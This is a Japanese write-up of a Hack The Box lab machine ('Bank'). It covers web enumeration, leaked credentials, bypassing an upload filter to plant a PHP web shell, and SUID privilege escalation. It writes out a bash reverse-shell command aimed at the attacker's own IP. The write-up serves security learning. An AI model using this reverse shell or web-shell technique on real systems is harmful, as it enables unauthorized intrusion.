Nmap



ゾーン転送失敗


HTTP-1
現時点
robots.txt、sitemap.xmlなし。
ミドル:Apache2.4.7→初期アクセスに使えそうな脆弱性見つからず。
OS:Ubuntu
Apacheのデフォルトページ表示

サブディレクトリ特になし

fileもほとんど403

何も見つからないので、DNS再度見てみます
ドメイン名を推測して、再度実行し取得しました。www.bank.htbがあるので、バーチャルホスト使っていそうです。

HTTP-2
PHP使っていることがわかります。

「’」を入れてみましたが、SQLエラー出ませんでした。
エラーメッセージからもユーザー列挙は無理そうです。

PHPの該当バージョンに、使えそうな脆弱性はありませんでした。

inc assetsはアクセスできましたが、手掛かりなし。uploadsは403でした。

ほとんど403で使えそうなファイルなし

サブドメインもなし

サブディレクトリを複数リストで試したところ、手掛かり見つけました。

.accというファイルが大量にありました。

開くと、クレカの取引情報?が表示されます

一覧を見ていると、1つだけサイズが異なるファイルを見つけました。

認証情報見つけました。

SSHはできなかったので、Webサイトの方ログインしました。
ダッシュボードページは、有益な情報ありませんでした。

supportページに、ファイルアップロード機能があります。

画像系じゃないとアップロードできないようです。拡張子、Content-type、マジックナンバーを変更し、アップロード制限を回避しようと試みましたが、どれも効果なかったです。

サポートページのHTMLを確認すると、コメントで「.htbをつければphpとして実行できる」と記載されていました。

拡張子を.phpから.htbに変更し、アップロード成功しました。

Attachmentをクリックすると、アップロードしたファイルに遷移します。
Webシェルをアップロードしたので、cmdパラメーターを入力し、コマンド実行できることが確認できました。


bash -c 'bash -i >& /dev/tcp/<kali-IP>10.10.14.6/<PORT> 0>&1'をURLエンコードしてcmdパラメーターに入力し、リバースシェル取得です。


権限昇格
シェルアップグレードします。

3306のMySQLが開いてます。

今持ってる認証ではアクセスできませんでした。

/var/www/bank配下確認中にuser.phpがあったことを思い出し、確認してMySQLの認証をゲットしました。(su root su chrisでパスワード入力しましたが、認証エラーでした。)

chrisの認証しかありませんでした。データベースから認証を取得する路線ではなさそう。

www-dataのパスワードが分からずSUDOは確認できないので、SUID探します。
GTFObinsで確認し、すぐに昇格できるコマンドはなかったです。emergencyは見たことなので調べてみます。(/usr/binやsbinではないので、コマンドではなさそう)

Pythonのスクリプトでした。
Do you want to...の質問に対する回答(y/n)でyと答えれば、getroot関数が呼び出され、os.systemで/var/htb/bin/emergencyが実行されるようです。メッセージ的にrootに昇格できそうなので実行してみます。(-rwsr-x-r-xなので実行可能)

昇格しました。

ちなみに、/var/htb/bin配下のemergencyは、実行ファイルなので内容まで確認できなかった
